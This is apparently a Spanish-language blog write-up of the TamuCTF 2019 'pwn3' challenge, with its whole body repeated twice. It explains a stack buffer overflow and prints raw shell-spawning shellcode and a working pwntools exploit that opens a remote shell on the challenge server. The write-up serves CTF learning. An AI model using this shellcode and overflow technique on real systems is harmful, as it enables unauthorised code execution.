Write-Up pwn3
Write-Up de un CTF (Capture the Flag) perteneciente a TamuCTF 2019.
Nos encontramos ante un archivo binario compilado llamado pwn3.bin.
Primero observamos con un checksec para comprobar las protecciones que tiene el programa:
$ checksec pwn3.bin
[*] '/root/pwn3.bin'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Vemos "NX disabled" y "Has RWX segments", eso significa que tenemos zonas en la memoria donde ejecutar código, por lo que podríamos inyectar una shellcode y que esta sea ejecutada sin problema.
Ahora necesitaríamos un memory leak en el stack address, asi conseguiriamos colocar el return address para saltar al stack y que la shellcode se ejecute. Pero en este caso, al conectarnos el programa nos dice la return address a ESP.
Usare la shellcode de /bin/bash para obtener una shell interactiva en el servidor y obtener la flag que se aloja en el archivo flag.txt.
La shellcode es la siguiente:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
Ahora hay que calcular el tamaño del buffer y así sobrescribir ESP con el Junk y la shellcode y mas tarde sobrescribir el registro EIP y que la siguiente instrucción que se ejecute sea nuestra shellcode en memoria.
Con un patrón cíclico obtenemos que necesitamos un offset de 0x12a + 4
Colocamos el 4 para añadir padding, también estaría bien añadir unos cuantos nops (\x90) para asegurarnos que la ejecución comienza en el primer carácter.
Ahora creamos el exploit con la librería pwntools en Python.
Código del exploit:
from pwn import *
context.update(arch='i386', os='linux')
sc = shellcraft
#p = process('./pwn3.bin')
p = remote('pwn.tamuctf.com', 4323)
p.recvuntil('journey 0x')
buffptr = int(p.recvuntil('!', drop=True), 16)
padsize = 0x12a + 4
pay = asm(sc.sh())
pay += 'A' * (padsize - len(pay))
pay += p32(buffptr)
p.sendline(pay)
p.recvline()
p.interactive()
Tras su ejecución se ejecutará la shellcode y nos dará una shell interactiva, así usando "cat flag.txt" nos mostrará la flag.
Nos encontramos ante un archivo binario compilado llamado pwn3.bin.
Primero observamos con un checksec para comprobar las protecciones que tiene el programa:
$ checksec pwn3.bin
[*] '/root/pwn3.bin'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Vemos "NX disabled" y "Has RWX segments", eso significa que tenemos zonas en la memoria donde ejecutar código, por lo que podríamos inyectar una shellcode y que esta sea ejecutada sin problema.
Ahora necesitaríamos un memory leak en el stack address, asi conseguiriamos colocar el return address para saltar al stack y que la shellcode se ejecute. Pero en este caso, al conectarnos el programa nos dice la return address a ESP.
Usare la shellcode de /bin/bash para obtener una shell interactiva en el servidor y obtener la flag que se aloja en el archivo flag.txt.
La shellcode es la siguiente:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
Ahora hay que calcular el tamaño del buffer y así sobrescribir ESP con el Junk y la shellcode y mas tarde sobrescribir el registro EIP y que la siguiente instrucción que se ejecute sea nuestra shellcode en memoria.
Con un patrón cíclico obtenemos que necesitamos un offset de 0x12a + 4
Colocamos el 4 para añadir padding, también estaría bien añadir unos cuantos nops (\x90) para asegurarnos que la ejecución comienza en el primer carácter.
Ahora creamos el exploit con la librería pwntools en Python.
Código del exploit:
from pwn import *
context.update(arch='i386', os='linux')
sc = shellcraft
#p = process('./pwn3.bin')
p = remote('pwn.tamuctf.com', 4323)
p.recvuntil('journey 0x')
buffptr = int(p.recvuntil('!', drop=True), 16)
padsize = 0x12a + 4
pay = asm(sc.sh())
pay += 'A' * (padsize - len(pay))
pay += p32(buffptr)
p.sendline(pay)
p.recvline()
p.interactive()
Tras su ejecución se ejecutará la shellcode y nos dará una shell interactiva, así usando "cat flag.txt" nos mostrará la flag.
Comentarios
Publicar un comentario